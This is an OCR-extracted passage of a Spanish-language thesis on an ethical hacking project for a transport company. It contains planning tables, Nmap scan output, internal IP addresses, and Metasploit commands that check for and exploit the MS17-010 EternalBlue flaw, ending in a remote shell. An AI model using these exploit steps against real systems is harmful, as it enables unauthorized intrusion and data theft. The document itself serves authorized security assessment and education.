cliente.

Muy Alta RQ18 El proyecto debe ser rentable y ejecutarse en

el tiempo previsto.

Requisitos de calidad: describir requisitos relativos a normas o estandares

de calidad, o la satisfaccion y cumplimiento de factores relevantes de

calidad.
Requisitos
Prioridad Descripcion
Muy Alto El ethical hacking debe de cumplir con

todas las expectativas de los usuarios.

Criterios de aceptacion: especificaciones o requisitos de rendimiento,
funcionalidad, etc. Que deben cumplirse antes de aceptar el proyecto.

Conceptos Criterios De Aceptacion

Técnicos



El desarrollo del proyecto se debe realizar de acuerdo a

todo lo planificado y requerido por los usuarios.

Se debe lograr la satisfaccion del cliente en un 95%.
La bibliografia usada en la investigacién debe ser de
, caracter serio.
Calidad . ) )
El informe de la propuesta concluida debe ser entendible y

precisa.

La aprobacién de todos los entregables del proyecto estara

. . a cargo del gerente general.
Administrativos o o
Se necesitara una capacitacion al personal luego de

terminado el estudio referente al tema de la propuesta.

Contribuir con el crecimiento de la empresa.
Comerciales Cumplir con estandares de seguridad tanto nacional como

internacional.

Reglas del negocio: reglas principales que fijan los principios guias de la

organizacion.

Todas las observaciones encontradas deben ser documentadas.

Impactos en otras areas organizacionales.

Este proyecto ayudara a mejorar la seguridad de la empresa.

Impactos en otras entidades: dentro o fuera de la organizacién ejecutante.

Se espera ayudar también ayudar al area de soporte técnico, administracion,

contabilidad.

Fuente: Elaboracion propia
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3.1.2.1.5 Edt

llustracién 10 EDT

1.0 Gestidn del

|
[

:

£ i Manual de Ususrio

21 R0
L= ]
5.1 1 Host Activos
2.2.1 Depoubrir Rango de

2.2.7 idantficar Sstamas
2,82 Busqueda de COptratives
Nambres de Dominios

2.2.3 1demtificar Mombres
e Equipos

2.2.4 iantificar Cusntas
de Usuarios

1.1.1 Project
Charzer

Al 5aervidor

1.2 Plan del Proyedto

3.2.1 Numero de Puerto
3.2.2'varsdn de FURos

i

1.2.2 Fan de
Proyects

3 3 VULNERABILIDADES
1.3 Plan da Gestidn de
Requisitos
3.3.1 SisTemas Operativos *-*2- Servidor }
14 Flan d& Gestion
dal Alcance
15 cemedel
Prayesta

Fuente: Elaboracién Propia



3.1.2.2 Tiempo

3.1.2.2.1 Definicién de Actividades
Tabla 12 Tiempo

Iteracion Actividad Alcance de la actividad

Realizar entrevista a sponsor. Encuentro inicial con el sponsor.

Project Charter.

Elaborar Project charter. Redactar el documento de inicio.
Revisar el Project charter. Revisar y aprobar el Project charter.
Scope Statement. Realizar entrevista con el sponsor. Entrevista con el sponsor para la iniciacion del

Scope Statement.

Consolidar los requisitos. Elaborar el Scope Statement.
Revisar el Scope statement. Revisar el Scope Statement.

Plan de Proyecto. Elaborar el plan del proyecto. Redactar el plan del proyecto.

Plan de Gestién de Requisitos. Evaluar los requisitos Presentados. Evaluar los requisitos Presentados.
Documentar requisitos. Documentar requisitos.
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Cierre del Proyecto.

Descubrir Rango de IPS.

Identificar Sistemas Operativos.

Identificar Nombre de los Equipos.

Identificar Cuentas de Usuario.

Escaneo de Red.

Numero de puertos.

Version de Puertos.

Vulnerabilidades — SOS.

Elaborar documentos de cierre del
proyecto.
Documentar rango de IPS.

Identificar Sistemas Operativos activos en
la Red.

Identificar Nombres de los Equipos.
Identificar Cuentas de Usuario.

Identificar los Host activos.

Descubrir los puertos abiertos en cada

direccion.

Descubrir y analizar la version de los

puertos.

Analizar las diferentes vulnerabilidades de
cada SOS.

Redactar documentos del cierre del proyecto.

Documentar IPS.

Identificar Sistemas Operativos activos en la Red.

Documentar Nombres.

Documentar Cuentas de Usuarios.

Documentar host.

Documentar Puertos activos.

Documentar Versiones.

Documentar, explotar y recomendar medidas de

seguridad.
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Vulnerabilidades — Servidor.

Obtener Acceso a SOS.

Obtener Acceso al Servidor.

Manual de usuarios.

Analizar las diferentes vulnerabilidades el

servidor.

Obtener acceso a SOS.

Obtener Acceso al Servidor.

Redactar manual de usuario.

Documentar explotar y recomendar medidas de

seguridad.

Documentar.

Documentar.

Redactar manual de usuario.

Fuente: Elaboracion propia
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3.1.2.2.2 Hitos
Tabla 13 Hitos

Determinar la manera que la Metodologia Ethical Hacking influye en el nivel de proceso de gestion de
la seguridad informéatica de los sistemas del area de computo de TRANSPORTES COSMER SAC.

FECHA PROGRAMADA

INICIO 19/12/2018 16/01/2019
Gestion del Proyecto. 19/12/2018 15/01/2019
Project chérter. 24/12/2018 27/12/2018
Plan de gestién de requisitos. 26/12/2018 03/01/2019
Gestion del alcance. 02/01/2019 07/01/2019
Gestion de riesgos 04/01/2019 09/01/2019
I

Cierre 09/01/2019 15/01/2019
Reconocimiento. 15/01/2019 07/02/2019
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Blusqueda de metadatos. 15/01/2019 22/01/2019
Descubrir rangos de IPS. 18/01/2019 25/01/2019
Identificar Sistemas Operativos. 25/01/2019 29/01/2019
Identificar nombres de Equipos. 30/01/2019 04/02/2019
Identificar Cuentas de Usuarios. 04/02/2019 07/02/2019
Escaneo. 11/02/2019 01/03/2019
Numeros de puertos. 11/02/2019 15/02/2019
Version de puertos. 18/02/2019 22/02/2019
Vulnerabilidades. 25/02/2019 01/03/2019
Ataque 04/03/2019 25/03/2019
Explotacién de vulnerabilidades de los sistemas operativos 04/03/2019 18/03/2019
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Ataque de fuerza bruta 19/03/2019 25/03/2019
Informes. 25/03/2019 29/03/2019
Manuales de Usuario. 25/03/2019 29/03/2019

Fuente: Elaboracién propia

3.1.2.3 Costos

El valor del costo se calculd, calculando los dias trabajados por hora ingeniero. En este caso el cobro de hora ingeniero es de $/.45.

Tabla 14 Costos

Determinar la manera que la Metodologia Ethical Hacking VALOR
FECHA PROGRAMADA DURACION COSTO
influye en el nivel de proceso de gestién de la seguridad PRESUPUESTADO
informatica de los sistemas del area de cémputo de
TRANSPORTES COSMER SAC.
INICIO 19/12/2019 16/01/2019 Total P 9855
Total 2475
Gestion del Proyecto. 19/12/2018 16/01/2019
. 6 45 270
Project charter. 19/12/2018 15/01/2019

72



_ o 13 45 585
Plan de gestién de requisitos. 24/12/2018 27/12/2018
13 45 585
Gestion del alcance. 26/12/2018 03/01/2019
. . 13 45
Gestion de riesgos 02/01/2019 07/01/2019 585
Cierre 10 45 450
04/01/2019 09/01/2019
Reconocimiento.
09/01/2019 15/01/2019 Total 2655
13 45 585
Busqueda de metadatos. 15/01/2019 07/02/2019
20 45 900
Descubrir rangos de IPS. 15/01/2019 22/01/2019
405
- ) ] 9 45
Identificar Sistemas Operativos. 18/01/2019 25/01/2019
10 45 450
Identificar nombres de Equipos. 25/01/2019 29/01/2019
7 45 815
Identificar Cuentas de Usuarios. 30/01/2019 04/02/2019
04/02/2019 07/02/2019 Total 2925
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Escaneo.
10 45
Numeros de puertos. 11/02/2019 01/03/2019 450
10 45
Version de puertos. 11/02/2019 15/02/2019 450
45 45
Vulnerabilidades. 18/02/2019 22/02/2019 2025
Ataque 25/02/2019 01/03/2019 Total 1350
. 15 45
Explotacion de vulnerabilidades de los sistemas operativos 04/03/2019 25/03/2019 675
15 45
Atague de fuerza bruta 04/03/2019 18/03/2019 675
Informes. 19/03/2019 25/03/2019 Total 450
10 45
Manuales de Usuario. 25/03/2019 29/03/2019 450

Fuente: Elaboracién propia
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3.1.2.4 Riesgos

Tabla 15 Riesgos

COD. DEL Descripcion Del Riesgo

RIESGO

RGO01 Que los equipos a usar no cumplan con las especificaciones
técnicas requeridas.

RGO02 Fallos en los equipos informaticos.

RGO03 Exceder el costo y tiempo planificado.

RG04 Acceso lento a los datos a través de la red.

RGO05 Inadecuada descomposicién de tareas (EDT).

RGO06 Que no se obtengan resultados positivos en las pruebas de
reconocimiento realizadas por el usuario.

RGO7 Falta de cumplimiento con las fechas de entregas.

Fuente: Elaboracién propia

3.2 Ingenieria del Proyecto

3.2.1 Modelamiento de Requerimientos.

El modelamiento de Requerimientos se detalld6 en el capitulo 3, apartado 3.1.2

Planificacién, lo que respecta al alcance del proyecto y documentacion de requisitos.

3.3. Soporte del Proyecto
3.3.1. Planificacion de la Calidad.

Este proyecto debe cumplir con los requisitos de la calidad, es decir, acabar dentro del
tiempo y el presupuesto planificados, y también debe cumplir con los requisitos de

calidad del Cliente, es decir, debe lograr satisfaccion por parte de ellos.

3.3.2 Plan de mejora de los procesos

Para mejorar los procesos se debe realizar lo siguiente:

- Delimitar el proceso.
- Determinar la oportunidad de mejora.

- Tomar informacion sobre el proceso.
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- Analizar la informacion levantada.

- Definir las acciones correctivas para mejorar el proceso.
- Aplicar las acciones correctivas.

- Verificar si las acciones correctivas han sido efectivas.

- Estandarizar las mejoras logradas para hacerlas parte del proceso.

3.3.3 Procedimientos

- Para mejora de procesos.

- Parala correcta conduccién del proyecto y generacion del producto.
- Procesos de mejora continua.

- Auditoria a los procesos.

- Parala prevencion de problemas y para las medidas correctivas.

3.3.4 Plantillas

- Linea base de la calidad.
- Plan de gestion de la calidad.

- Documentos de métrica de la calidad.

3.3.5 Formatos

- Documentos de métrica de la calidad.
- Plan de gestion de la calidad.

- Matriz de actividades de calidad.

- Otros documentos:

- Libro de planeamiento estratégico.

3.3.6 Enfoque de aseguramiento de la calidad

- Elaseguramiento de calidad se hara monitoreando continuamente la performance
del trabajo, los resultados del control de calidad, y sobre todo las métricas.

- ldentificacién tempranamente cualquier necesidad de accion correctiva y mejora
de procesos.

- Gestionar adecuada y oportunamente las gestiones de cambio que requiera el

proyecto.
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Asimismo, se verificard que dichas solicitudes de cambio, y/o acciones

correctivas/preventivas se hayan ejecutado y hayan sido efectivas.

3.3.7 Enfoque de control de la calidad

El control de calidad se ejecutara revisando los entregables para ver si estan

conformes o0 no a los requerimientos del proyecto.

- Los resultados de estas mediciones se consolidaran y se enviaran al proceso de
Aseguramiento de Calidad.

- Asimismo, en este proceso se hara la medicion de las métricas y se informaran al
proceso de Aseguramiento de Calidad. Los entregables que han sido
reprocesados se volveran a revisar para verificar si ya se han vuelto conformes.

- Para los defectos detectados se tratara de detectar las causas raices de los

defectos para eliminar las fuentes del error, los resultados y conclusiones se

formalizaran como solicitudes de cambio y/o acciones correctivas/preventivas.

3.3.8 Enfoque de mejora de procesos

- Delimitar el proceso.

- Determinar la oportunidad de mejora.

- Tomar informacion sobre el proceso.

- Analizar la informacion levantada.

- Definir las acciones correctivas para mejorar el proceso.
- Aplicar las acciones correctivas.

- Verificar si las acciones correctivas han sido efectivas.
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CAPITULO IV: EJECUCION, SEGUIMIENTO Y CONTROL DEL PROYECTO

4.1 Gestion Del Proyecto

4.1.1 Ejecucién

Acta de Aceptacién de Entregables a aprobar

Tabla 16 Gestion del proyecto

Declaracion de la Aceptacion Formal

Por la presente se hace publica la aceptacién de las fases presentadas del proceso

de Ethical Hacking, que incluye los siguientes entregables:

Fase Analisis de Vulnerabilidades
Busqueda de hosts fallados.
Frotprinting de escenarios y sistemas.
Escaneos de equipos y redes.

Acceso a los sistemas y plataformas escaneadas.

Fase Explotacién

El primer entregable del servicio (Ethical hacking - reconocimiento).
El segundo entregable del servicio (Ethical hacking - escaneo).

El tercer entregable del servicio (Ethical hacking — acceso a sistemas
operativos).

El cuarto entregable del servicio (Ethical hacking — acceso).

Observaciones adicionales

En el entregable adicional se envi6 un diccionario de términos usados en el proceso

del Ethical hacking.

Aceptado por Distribuido y Aceptado

Nombre del Sponsor u Nombre Del Stakeholders

otro funcionario

José Francisco Carrasco José Francisco Carrasco Zevallos

Zevallos
Rol Nombre
Miembro del equipo Jheen Pooll Carrasco Ruiz
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Gerente del proyecto Jheen Pooll Carrasco Ruiz

Cliente

Rol

Miembro
del

equipo

Gerente
del

proyecto

Cliente

Jheen Pooll Carrasco Ruiz

Responsabilidad

Los miembros del equipo son responsables de:

Producir los entregables especificados en la carta constitutiva del
proyecto.

Informar al gerente del proyecto cuando cada entregable sea
terminado y esté listo para ser sometido a pruebas de aceptacion.
Completar cualesquier acciones remediales requeridas para

obtener la aceptacion del cliente.

El gerente del proyecto es responsable de:

Organizar las pruebas de aceptacion de los entregables para
revisar que estén totalmente terminados.

Asegurarse que las pruebas de aceptacion sean cabales y
efectivas.

Revisar los resultados de las pruebas de aceptacion e identificar
las acciones remediales necesarias para asegurar que los
entregables satisfacen los criterios definidos de aceptacion.
Presentar los formularios de aceptacion al cliente para su firma.
Comunicar el estado de aceptacion de los entregables a los

intervinientes y partes interesadas del proyecto.

El cliente del proyecto tiene las siguientes responsabilidades:

Tomar parte en el proceso de pruebas de aceptacion si se le
solicita.

Autorizar el formulario de aceptacion para confirmar que los
entregables cumplen con los criterios establecidos en el plan de
aceptacion.

Tomar custodia de los entregables en su entorno.

Fuente: Elaboracién propia
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4.1.1. Seguimiento y Control

Cadigo

Requerimiento01

Requerimiento02

Requerimiento03

Nivel De Estabilidad

Estado
Alto A
Mediano M
Bajo B
Descripcion
Andlisis de

Vulnerabilidad y
Explotacion Web.

Analisis de
Vulnerabilidad y
Explotacion Windows.

Andlisis de
Vulnerabilidad y
Explotacion Android.

Abreviatura

Sustento de su
inclusion
Pruebas de
Seguridad —

Fines educativos.

Pruebas de
Seguridad —

Fines educativos.

Pruebas de
Seguridad —

Fines educativos.

Aprobado

Estado Actual
Estado Abreviatura
Activo AC
Cancelado CA
Diferido DI
Adicionado AD
AP

Tabla 17 Seguimiento y control

Atributos De Requisitos

Propietario Fuente Prioridad
Jheen Pooll Enfoque A
Carrasco Ruiz = educativo

Jheen Pooll Enfoque A
Carrasco Ruiz = educativo

Jheen Pooll Enfoque A

Carrasco Ruiz  educativo

Fuente: Elaboracién propia

Grado De Complejidad

Estado

Alto

Mediano

Bajo

Estado
Actual
AC

AC

AC

Abreviatura

A

M

B
Fecha de Grado de
cumplimiento complejidad
A
A
A

Criterio de
aceptacion
Aprobacion del
Plan de
Testing y
Seguridad
Aprobacion del
Plan de
Testing y
Seguridad
Aprobacion del
Plan de
Testing y
Seguridad
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Necesidades,
Oportunidades, Metas Y
Objetivos Del Negocio
Evaluar y registrar fallas
de seguridad para

corregirlas.

Evaluar y registrar fallas
de seguridad para

corregirlas.

Evaluar y registrar fallas
de seguridad para

corregirlas.

Objetivos Del

Proyecto

Descubrir fallas
de seguridad de
plataformas y
servidores web.
Descubrir fallas
de seguridad de
equipos
Windows.
Descubrir fallas
de seguridad de

equipos Android.

Riesgos del Proyecto

Tabla 18 Matriz de trazabilidad
Trazabilidad Hacia - Ethical Hacking

Alcance Del

Proyecto/Entregables
Plan de gestion del

Proyecto.

Plan de gestién del
Proyecto.

Plan de gestién del
Proyecto.

Disefio Del

Servicio

Ethical
Hacking, fases
de pentesting

Ethical
Hacking, fases
de pentesting

Ethical
Hacking, fases

de pentesting

- Los riesgos del proyecto son mencionados en el capitulo 3.

Desarrollo Del Servicio

Desarrollo del servicio
con herramientas libres

y open source.

Desarrollo del servicio
con herramientas libres

y open source.

Desarrollo del servicio
con herramientas libres

y open source.

Fuente: Elaboracién propia

Estrategia De

Prueba

Capturas
pantallas,
reportes del
Test
Capturas
pantallas,
reportes del
Test
Capturas
pantallas,
reportes del
Test

Escenario De

Prueba
Transportes

Cosmer SAC

Transportes
Cosmer SAC

Transportes
Cosmer SAC

Requerimiento
De Alto Nivel

Cumplir con lo
Requerido

Cumplir con lo
Requerido

Cumplir con lo
Requerido
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4.2 Ingenieria Del Proyecto

Este proyecto sera realizado bajo un entorno controlado, y sélo se utilizara 3 fases del

Ethical hacking.

4.2.1 Interaccién 1: Etapa de reconocimiento

Reconocimiento se refiere a la fase de preparacion donde un atacante busca reunir toda

la informacion posible sobre un objetivo antes de lanzar su ataque.

Nota: Existen diversas herramientas que nos pueden facilitar el reconocimiento de los
equipos que estan conectados en nuestra red, asi como también el tipo de sistemas
operativos que podria poseer la empresa, para este caso se hard mencion de dos

herramientas como: Netdiscovery y Nmap.

Netdiscovery
Esta herramienta nos permite identificar cuales son los equipos conectados a la red,
también cual es su respectiva direccion Mac, direccion ip y cual es el fabricante de la

tarjeta red.

llustracion 11 Netdiscovery

WH=y 2891
Tashksi 8 /1

Fuente: Elaboracién propia
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NMAP

Es una herramienta que nos permite ver los equipos activos de una red y sacar
diferente informacién, especialmente los puertos abiertos que nos seran de gran
interés para realizar ataques y saber que aplicaciones esta ejecutando, es sin duda el

escaner mas usado por los hackers.

Aunque generalmente se utiliza Nmap en auditorias de seguridad, muchos
administradores de redes y sistemas lo encuentran Gtil para realizar tareas rutinarias,
como puede ser el inventariado de la red, la planificacién de actualizacién de servicios
y la monitorizacion del tiempo que los equipos o servicios se mantiene activos. En este
punto se obtiene las direcciones IP a auditar, realizando un reconocimiento de la red
de la empresa de manera detallada, se debe mencionar que las direcciones IP’s

variaron ya que eran dindmicas.

Tabla 19 Direcciones IPS

Observacion Ip

Gerente 10.114.32.150
Administrador 10.114.32.120
Sistemas 10.114.32.180
Servidor 10.114.32.185
Servidor 10.114.32.187
Servidor 10.114.11.11

Fuente: Elaboracion propia
4.2.2 Interaccion 2: Etapa de escaneo
Esta fase se realiza un rastreo de puertos de cada ordenador u servidor, para descubrir
gué servicios se estan ejecutando actualmente, para explorar la red, el auditor obtiene

una conexion al punto de acceso como un usuario mas, una vez conectado se ejecuta

las herramientas seleccionadas segun sea el caso.
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Escaneo 10.114.32.150 Windows 7

llustracién 12 Escaneo PC A

:~# nmap -Pn -sV -0 192.168.1.143
Starting Nmap 7.70 ( https://nmap.org ) at 2019-87-21 14:306 EDT
Nmap scan report for 192.168.1.143
Host is up (0.0043s latency).
Not shown: 989 closed ports
STATE SERVICE VERSION
open http Apache httpd 2.2.0 ((Win32) DAV/2 mod ss1/2.2.8 OpenSSL/6.9.8a mod autoindex color PHP/S5.
open msrpc Microsoft Windows RPC
open netbios-ssn  Microsoft Windows netbios-ssn
open ssl/https?
open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: SKYNET)
open mysql?
open ms-wbt-server?
msrpc Microsoft Windows RPC
msrpc Microsoft Windows RPC
msrpc Microsoft Windows RPC
msrpc Microsoft Windows RPC
MAC Address: 08:8C:29:C6:CC:BE (VMware)
Device type: general purpose
Running: Microsoft Windows 7|2008|8.1
05 CPE: cpe:/o:microsoft:windows 7::- cpe:/o:microsoft:windows 7::spl cpe:/o:microsoft:windows server 2008::spl cpe:/o:m
rosoft:windows 8.1
05 details: Microsoft Windows 7 SP@ - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or Windows 8.1 Up
Network Distance: 1 hop
Service Info: Host: OPERADOR; 0S: Windows; CPE: cpe:/o:microsoft:windows

05 and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 168.78 seconds
i~ I

Fuente: Elaboracién propia

Interpretacion

El escaneo que le realicemos a la direccién IP, en este caso nos brinda lo siguiente:
- Servicio Apache httpd 2.2.0 utilizando el puerto 80.
- Servicio Remote Desktop utilizando el puerto 3389.
- Servicio Microsoft DS, utilizando el puerto 445.
- Servicio Mysql, utilizando el puerto 3306.
- Servidor de Netbios, utilizando el puerto 139.
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Escaneo 10.114.32.120 Windows 7

llustracién 13 Escaneo PC B

root@kali:-# nmap -Pn -sV -0 192.168.187.139

Starting Nmap 7.7@ ( https://nmap.org ) at 2019-88-85 21:36 EDT
Nmap scan report for 192.168.187.139

Host is up (0.00051s latency).

Not shown: 986 closed ports

PORT STATE SERVICE VERSION

21l/tcp open Ttp FileZilla ftpd ©.9.41 beta

80/tcp open http Apache httpd 2.4.10 ((Win32) OpenSSL/1.@.11i PHP/5.¢
135/tcp open mMsrpc Microsoft wWindows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/htips Apache/2.4.10 (Win32) OpenSSL/1.0.11 PHP/5.6.3
445/1tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup:

3306/tcp open mysql MysQL 5.6.21

3389/tcp open tcpwrapped

49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC

MAC Address: 00:0C:29:65:B0:7D (VMware)

Device type: general purpose

Running: Microsoft Windows 7|2008|8.1

05 CPE: cpe:/o:microsoft:windows 7::- cpe:/o:microsoft:windows 7::s5pl cpe:/o:mis
.1

0S details: Microsoft Windows 7 SPB - SP1, Windows Server 2008 SP1, Windows Ser
Network Distance: 1 hop

Service Info: Host: OPERADOR; 0S: Windows; CPE: cpe:/o:microsoft:windows

0S and Service detection performed. Please report any incorrect results at http

Nmap done: 1 IP address (1 host up) scanned in 68.83 seconds
root@kali:-# ||

Fuente: Elaboracion propia

Interpretacién

El escaneo que le realicemos a la direccion IP, en este caso nos brinda lo siguiente:

Servicio ftp, utilizando el puerto 21.

Servicio HTTP, utilizando el puerto 80.

Servicio Remote Desktop utilizando el puerto 3389.
Servicio Microsoft DS, utilizando el puerto 445.
Servicio Mysq]l, utilizando el puerto 3306.

Servidor de Netbios, utilizando el puerto 139.
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Escaneo 10.114.11.11 Windows Server 2008

[lustracion 14 Escaneo PC C

root@kali:-# nmap -Pn -sV -0 192.168.187.132

Starting Nmap 7.70 ( https://nmap.org ) at 2019-88-05 22:04 EDT
Mmap scan report for 192.168.187.132

Host is up (0.0811s latency).

Mot shown: 977 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp Microsoft ftpd

53/tcp open domain?

80/tcp open http Microsoft IIS httpd 8.5

88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 201¢
135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

389/tcp open ldap Microsoft Windows Active Directory LDAP (Dom:

445/tcp open microsoft-ds Microsoft Windows Server 20088 R2 - 2012 micre
464/tcp open kpasswd5?

593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0

636/tcp open ftcpwrapped

3268/tcp open ldap Microsoft Windows Active Directory LDAP (Dom:
3269/tcp open tcpwrapped

3389/tcp open ms-wbt-server Microsoft Terminal Service

8009/tcp open ajpl3 Apache Jserv (Protocol vl1.3)
8080/tcp open http Apache Tomcat/Coyote ISP engine 1.1
49152 /tcp open msrpc Microsoft Windows RPC

49153/tcp open msrpc Microsoft Windows RPC

49154/tcp open msrpc Microsoft Windows RPC

49155/tcp open msrpc Microsoft Windows RPC

49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC

49159/tcp open msrpc Microsoft Windows RPC

1 service unrecognized despite returning data. If you know the service/ver:
SF-Port53-TCP:V=7.70%I=7%D=8/5%T1ime=5D48E041%P=x86 64-pc-Linux-gnu%r(DNSVe
SF:rsionBindReqTCP, 20, "\0\x1e\0\x06\x81\x04\ 0\ x01\0\0\0\0\0\0\x07versionix
SF:04bind\0N\0\x10,0\x03");

MAC Address: 00:0C:29:3B:28:21 (VMware)

Device type: general purpose

Running: Micreoseft Windows 2012|7|8.1

0S5 CPE: cpe:/o:microsoft:windows server 2012:r2 cpe:/o:microseft:windows 7:
05 details: Microsoft Windows Server 2012 R2 Update 1, Microsoft Windows 7,
Network Distance: 1 hop

Service Info: Host: DCOLl; 05: Windows; CPE: cpe:/o:microsoft:windows

05 and Service detection performed. Please report any incorrect results at
Mmap done: 1 IP address (1 host up) scanned in 145.68 seconds
root@kali:-# W

Fuente: Elaboracién propia

Interpretacion

El escaneo que le realicemos a la direccién IP, en este caso nos brinda lo siguiente:

Servicio ftp, utilizando el puerto 21.
Servicio http, utilizando el puerto 80.
Servicio HTTP, utilizando el puerto 8080
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- Servicio Remote Desktop utilizando el puerto 3389.
- Servicio Microsoft DS, utilizando el puerto 445.

- Servicio Mysq|l, utilizando el puerto 3306.

- Servicio de Netbios, utilizando el puerto 139.

- Servicio Idap, utilizando el puerto 3208.

Escaneo de Vulnerabilidades

En esta fase se buscan posibles fallos, errores o vulnerabilidades de los sistemas
operativos, esto se realiza mediante la blsqueda de vulnerabilidades, para realizar lo
mencionado se utilizan herramientas de escaneo de vulnerabilidades como, por

ejemplo: Nessus, nmap, etc.

Esta fase se vera en Anexos.

4.2.3 Interaccién 3: Etapa obtener acceso

Acceso a Windows 7:

La vulnerabilidad explotada llamda Eternalblue, perteneciente a la familia del
ransomware WanaCryptOr o WanaCry es denominada por el boletin oficial de Microsoft
como MS17-010 la cual afecta primordialmente a Windows 7 y Windows 2008 server,
actualmente esta vulnerabilidad que fue remediada por Microsoft. Después de haber
escaneado los equipos de la empresa Cosmer, se detectd que los sistemas Operativos

tienen esta brecha de seguridad “EternalBlue”.

llustracién 15 Acceso a PC

mst5 > use auxiliary/scanner/smb/smb ms17 018

msf5 auxiliary( ) > show options

Module options (auxiliary/scanner/smb/smb msl7 ©10)
Name Current Setting Required Description
CHECK_ARCH true no Check for architecture on vulnerable hosts
CHECK_DOPU  true ne Check for DOUBLEPULSAR on vulnerable hosts
CHECK_PIPE false no Check for named pipe on vulnerable hosts
NAMED_PIPES /usr/share/metaspleit-framework/data/wordlists/named pipes.txt vyes List of named pipes to check
RHOSTS yes The target address range or CIDR identifier
RPORT 445 yes The SME service port (TCP)
SMBDomain no The Windows domain to use for authenticatic
SMBPass no The passwerd for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads

msf5 auxiliary( ) > set rhosts 192.168.187.132

rhosts => 192.168.187.132

nsf5 auxiliary( ) > run
192.168.187.132:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2012 R2 Standard Evaluation 9600 x64 (64-bit)
192.168.187.132:445 - Scanned 1 of 1 hosts (100% complete)
Auxiliary medule execution completed

msf5 auxiliary( ) >
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Fuente: Elaboracion propia

Interpretacion:

Para este caso, se logr6 comprobar por medio de un Auxiliar de la Herramienta

Metasploit la vulnerabilidad detectada en el sistema operativo instalado.

Tabla 20 Datos Interpretacion

Nombre Descripcion
Rhost Es la direccion ip de la maquina a
auditar
Rport Es el servicio del puerto SMB

Use auxiliary/scanner/smb/smb_ms17_010 | Auxiliar, el cual nos ayudaréa a
verificar si el ordenador posee la

falla

Fuente: Elaboracién propia

Esta falla fue efectiva para todos los equipos de la empresa, después de haber

comprobado la falla se procede a explotarla.

llustracion 16 Acceso a PC

mst5 auxiliary(scanner/smb/smb msl7 010) = use exploit/windows/smb/msl7_ 010 eternalblue
msf5 exploit{windows/smb/msl7 010 eternalblue) > show options

Module options (exploit/windows/smb/msl7 818 _eternalblue)

Name Current Setting Required Description

RHOSTS yes The target address range or CIDR identifier

RPORT 445 yes The target port (TCP)

SMBDomain . no (Optional) The Windows domain to use for authentice
SMBPass no (Optional) The password for the specified username
SMBUser ne (Optional) The username to authenticate as

VERIFY_ ARCH true yes Check if remote architecture matches exploit Target
VERIFY TARGET true yes Check if remote 0S matches expleit Target.

Exploit target:
Id Name

0] Windows 7 and Server 2008 R2 (x64) AlL Service Packs

msf5 exploit{windows/smb/ms17_010_eternalblue) > set rhosts 192.168.187.132
rhosts == 192.168.187.132
msfs exploit({windows/smb/msl7_e10_eternalblue) = I

Fuente: Elaboracion propia
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Interpretacion

El auditor habiendo verificado que la vulnerabilidad MS17_010 existe, procede

explotarla haciendo uso del exploit/Windows/smb/ms17_010_eternalblue.

- RHOST: Es la direccién IP de la victima.

Interpretacién

192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.

168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.

Command

192.168.
192.168.
192.168.

187.
187.
187.
187.
187.
187.
187.
187.
187.
187.
187.
187.
187.
187.
187.
187.
187.
187.
187.
187.
shell session

139:
139:
139:
139:
139:
139:
139:
139:
139:
139:
139:
139:
139:
139:
139:
139:
139:
139:
139:
139:

445

445 -

445
445

445
445

445

445

llustracién 17 Acceso a PC

- Host is Llikely VULNERABLE to M517-010! - Windows 7 Protessional 76€
Connecting to target for exploitation.

- Connection established for expleoitation.

- Target 0S selected valid for 05 indicated by SMB reply
445 -
445 -
445 -
445 -
- Target arch selected valid for arch indicated by DCE/RPC reply
- Trying exploit with 12 Groom Allecations.

445 -
445 -
445 -
445 -
445 -
445 -

CORE raw buffer dump (42 bytes)

0x00000000 57 69 6e 64 6T 77 73 20 37 20 50 72 6f 66 65 73 Windows
0x00000010 73 69 6T 6e 61 6Cc 20 37 36 30 31 20 53 65 72 76 sional 7
0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack

Sending all but last fragment of exploit packet

Starting non-paged pool grooming

Sending SMBv2 buffers

Closing SMBvl connection creating free hole adjacent to SMBvZ buffer.
Sending final SMBv2 buffers

Sending last fragment of exploit packet!

- Receiving response from exploit packet
445 -
445 -

187.139:445 -
187.139:445 -
187.139:445 -

ETERNALBLUE overwrite completed successfully (8xCepeeeeD)!

Sending egg to corrupted connection.

Triggering free of corrupted buffer.

2 opened (192.168.187.134:4444 -> 192.168.187.139:49161) at 2019-08-€

licrosoft Windows [VersiBn 6.1.7601]
copyright (c) 2009 Microsoft Corporation. Reservados tedos los derechos.

Zr\Windows\system32=]

Fuente: Elaboracién propia

El auditor habiendo explotado esta vulnerabilidad, procedié a navegar por las carpetas

internas del usuario interno, con el objetivo de encontrar informacion sensible.

NOTA: Las vulnerabilidades detectadas al resto de equipos estaran reportadas en

anexos
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4.3 Soporte del Proyecto

4.3.1 Medicion del valor ganado

Valor presupuestado

Tabla 21 Valor presupuestado

Tareas\Dias 15 25 35 45 55| Total
Gestion
2475 2475
proyecto
Iteracion 1 2655 2655
Iteracion 2 2925 2925
Iteracion 3 1350 1350
Iteracion 4 450 450
Proyecto 2475 2655 2925 1350 450 9855
PV 2475 5130 8055 9405 9855
Fuente: Elaboracion propia
Control de avance
Tabla 22 Control de avance
Tareas\Dias 15 25 35 45 55| Total
Gestion
